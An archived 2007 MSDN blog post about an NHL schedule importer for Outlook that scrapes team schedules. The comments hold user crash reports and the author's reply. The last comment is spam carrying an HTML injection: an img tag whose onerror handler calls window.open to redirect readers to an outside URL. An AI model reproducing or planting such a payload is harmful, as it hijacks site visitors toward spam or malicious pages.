Welcome to MSDN Blogs Sign in | Join | Help

Mark Schmidt's Abode

On Programming, Writing, Gaming, Fitness, Life

News

  • Have a Question?

    Click here to chat with me

    XBox Live GamerTag


    Twitter



    The Mark Cam


    My MoBlog

    www.flickr.com
    This is a Flickr badge showing public photos from codepunk. Make your own badge here.

    Community-Credit

NHL Schedule Importer for Outlook Updated

Ok, I've added the ability to fine tune the screen scraping. Sometimes the page I'm scraping changes just a bit which messes up the scraping that I'm doing. I've added a numeric up/down control which tells the app which table index on the page to scrape. If you select a team and you don't see a schedule appear, you'll receive a warning and instructions telling you to adjust the table index. Hopefully this will make it so I don't have to update the app as much.

Here it is:

Posted: Wednesday, November 07, 2007 10:47 AM by markhsch

Comments

Scott Wylie said:

Just wanted to let to pass along that the table index controls are not anchored when you resize the form.

Imported my Canucks schedule and it worked great.  Thanks so much for the great effort.

# November 7, 2007 2:10 PM

Rob said:

The program installs and executes, but when selecting Tampa Bay I receive an error. Does it not like Vista x64? I'll keep checking back for an update. Thx!

=========================

See the end of this message for details on invoking

just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************

System.Net.WebException: The operation has timed out

  at System.Net.HttpWebRequest.GetResponse()

  at OutlookSportScheduleImporter.MainForm.ExtractTeamImage(HtmlNode curTable)

  at OutlookSportScheduleImporter.MainForm.ExtractTeamInformation(HtmlNode curTable)

  at OutlookSportScheduleImporter.MainForm.cbTeams_SelectedIndexChanged(Object sender, EventArgs e)

  at System.Windows.Forms.ComboBox.OnSelectedIndexChanged(EventArgs e)

  at System.Windows.Forms.ComboBox.WndProc(Message& m)

  at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)

  at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

************** Loaded Assemblies **************

mscorlib

   Assembly Version: 2.0.0.0

   Win32 Version: 2.0.50727.1416 (REDBITS.050727-1400)

   CodeBase: file:///C:/Windows/Microsoft.NET/Framework64/v2.0.50727/mscorlib.dll

----------------------------------------

OutlookSportScheduleImporter

   Assembly Version: 1.0.0.0

   Win32 Version: 1.0.0.0

   CodeBase: file:///C:/Program%20Files%20(x86)/Microsoft/NHL%20Schedule%20Outlook%20Importer/OutlookSportScheduleImporter.exe

----------------------------------------

System.Windows.Forms

   Assembly Version: 2.0.0.0

   Win32 Version: 2.0.50727.1416 (REDBITS.050727-1400)

   CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll

----------------------------------------

System

   Assembly Version: 2.0.0.0

   Win32 Version: 2.0.50727.1416 (REDBITS.050727-1400)

   CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll

----------------------------------------

System.Drawing

   Assembly Version: 2.0.0.0

   Win32 Version: 2.0.50727.1416 (REDBITS.050727-1400)

   CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll

----------------------------------------

HtmlAgilityPack

   Assembly Version: 1.3.0.0

   Win32 Version: 1.3.0.0

   CodeBase: file:///C:/Program%20Files%20(x86)/Microsoft/NHL%20Schedule%20Outlook%20Importer/HtmlAgilityPack.DLL

----------------------------------------

System.Xml

   Assembly Version: 2.0.0.0

   Win32 Version: 2.0.50727.1416 (REDBITS.050727-1400)

   CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll

----------------------------------------

System.Configuration

   Assembly Version: 2.0.0.0

   Win32 Version: 2.0.50727.1416 (REDBITS.050727-1400)

   CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll

----------------------------------------

************** JIT Debugging **************

To enable just-in-time (JIT) debugging, the .config file for this

application or computer (machine.config) must have the

jitDebugging value set in the system.windows.forms section.

The application must also be compiled with debugging

enabled.

For example:

<configuration>

   <system.windows.forms jitDebugging="true" />

</configuration>

When JIT debugging is enabled, any unhandled exception

will be sent to the JIT debugger registered on the computer

rather than be handled by this dialog box.

# November 7, 2007 2:16 PM

markhsch said:

Rob, try again. For some reason, the Internet connection timed out. You are connected to the Net right? If so, not sure what's going on. If the application is running, then it should be working on x64.

# November 8, 2007 2:02 PM

Carl Timmons said:

Program stops working (Windows Vista)... Error follows:

Problem signature

Problem Event Name: PCA2

Problem Signature 01: OutlookSportScheduleImporter.exe

Problem Signature 02: 1.0.0.0

Problem Signature 03: OutlookSportScheduleImporter

Problem Signature 04: OutlookSportScheduleImporter

Problem Signature 05: Microsoft

Problem Signature 06: 200

Problem Signature 07: -1

OS Version: 6.0.6000.2.0.0.768.3

Locale ID: 1033

Files that help describe the problem

appcompat.txt

<?xml version="1.0" encoding="UTF-16"?>

<DATABASE>

<EXE NAME="OutlookSportScheduleImporter.exe" FILTER="GRABMI_FILTER_PRIVACY">

   <MATCHING_FILE NAME="HtmlAgilityPack.dll" SIZE="106496" CHECKSUM="0xE8EF2D6A" BIN_FILE_VERSION="1.3.0.0" BIN_PRODUCT_VERSION="2.0.0.0" PRODUCT_VERSION="2.0.0.0" FILE_DESCRIPTION="Html Agility Pack - Debug" COMPANY_NAME="Simon Mourier" PRODUCT_NAME="Html Agility Pack" FILE_VERSION="1.3.0.0" ORIGINAL_FILENAME="HtmlAgilityPack.dll" INTERNAL_NAME="HtmlAgilityPack.dll" LEGAL_COPYRIGHT="Copyright (C) 2003-2005 Simon Mourier &lt;simon_mourier@hotmail.com&gt; All rights reserved." VERDATEHI="0x0" VERDATELO="0x0" VERFILEOS="0x4" VERFILETYPE="0x2" MODULE_TYPE="WIN32" PE_CHECKSUM="0x1CAEA" LINKER_VERSION="0x0" UPTO_BIN_FILE_VERSION="1.3.0.0" UPTO_BIN_PRODUCT_VERSION="2.0.0.0" LINK_DATE="05/11/2006 00:08:33" UPTO_LINK_DATE="05/11/2006 00:08:33" VER_LANGUAGE="Language Neutral [0x0]" />

   <MATCHING_FILE NAME="Microsoft.Office.Interop.Outlook.dll" SIZE="920376" CHECKSUM="0xEDD137C2" BIN_FILE_VERSION="12.0.4518.1014" BIN_PRODUCT_VERSION="12.0.4518.0" PRODUCT_VERSION="12.0.4518.1014" FILE_DESCRIPTION="Microsoft.Office.Interop.Outlook" COMPANY_NAME="Microsoft Corporation" PRODUCT_NAME="2007 Microsoft Office system" FILE_VERSION="12.0.4518.1014" ORIGINAL_FILENAME="Outlook Primary Interop Assembly" INTERNAL_NAME="Outlook Primary Interop Assembly" LEGAL_COPYRIGHT="© 2006 Microsoft Corporation.  All rights reserved." VERDATEHI="0x0" VERDATELO="0x0" VERFILEOS="0x40004" VERFILETYPE="0x1" MODULE_TYPE="WIN32" PE_CHECKSUM="0xEA5B2" LINKER_VERSION="0x0" UPTO_BIN_FILE_VERSION="12.0.4518.1014" UPTO_BIN_PRODUCT_VERSION="12.0.4518.0" LINK_DATE="10/27/2006 03:12:49" UPTO_LINK_DATE="10/27/2006 03:12:49" VER_LANGUAGE="Language Neutral [0x0]" />

   <MATCHING_FILE NAME="office.dll" SIZE="416544" CHECKSUM="0xFFDC27C9" BIN_FILE_VERSION="12.0.4518.1014" BIN_PRODUCT_VERSION="12.0.4518.0" PRODUCT_VERSION="12.0.4518.1014" FILE_DESCRIPTION="Microsoft.Office.Core" COMPANY_NAME="Microsoft Corporation" PRODUCT_NAME="2007 Microsoft Office system" FILE_VERSION="12.0.4518.1014" ORIGINAL_FILENAME="Core Primary Interop Assembly" INTERNAL_NAME="Core Primary Interop Assembly" LEGAL_COPYRIGHT="© 2006 Microsoft Corporation.  All rights reserved." VERDATEHI="0x0" VERDATELO="0x0" VERFILEOS="0x40004" VERFILETYPE="0x1" MODULE_TYPE="WIN32" PE_CHECKSUM="0x690B2" LINKER_VERSION="0x0" UPTO_BIN_FILE_VERSION="12.0.4518.1014" UPTO_BIN_PRODUCT_VERSION="12.0.4518.0" LINK_DATE="10/27/2006 02:32:59" UPTO_LINK_DATE="10/27/2006 02:32:59" VER_LANGUAGE="Language Neutral [0x0]" />

   <MATCHING_FILE NAME="OutlookSportScheduleImporter.exe" SIZE="49152" CHECKSUM="0x19D09FB5" BIN_FILE_VERSION="1.0.0.0" BIN_PRODUCT_VERSION="1.0.0.0" PRODUCT_VERSION="1.0.0.0" FILE_DESCRIPTION="OutlookSportScheduleImporter" COMPANY_NAME="Microsoft" PRODUCT_NAME="OutlookSportScheduleImporter" FILE_VERSION="1.0.0.0" ORIGINAL_FILENAME="OutlookSportScheduleImporter.exe" INTERNAL_NAME="OutlookSportScheduleImporter.exe" LEGAL_COPYRIGHT="Copyright © Microsoft 2007" VERDATEHI="0x0" VERDATELO="0x0" VERFILEOS="0x4" VERFILETYPE="0x1" MODULE_TYPE="WIN32" PE_CHECKSUM="0x0" LINKER_VERSION="0x0" UPTO_BIN_FILE_VERSION="1.0.0.0" UPTO_BIN_PRODUCT_VERSION="1.0.0.0" LINK_DATE="11/07/2007 18:35:09" UPTO_LINK_DATE="11/07/2007 18:35:09" VER_LANGUAGE="Language Neutral [0x0]" />

</EXE>

</DATABASE>

Tab7B5C.tmp

RUNASADMIN

# November 16, 2007 12:26 PM

mypicst said:

my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">

# April 12, 2008 8:38 AM
Leave a Comment

(required) 

(required) 

(optional)

(required) 

  
Enter Code Here: Required

Comment Notification

If you would like to receive an email when updates are made to this post, please register here

Subscribe to this post's comments using RSS

Page view tracker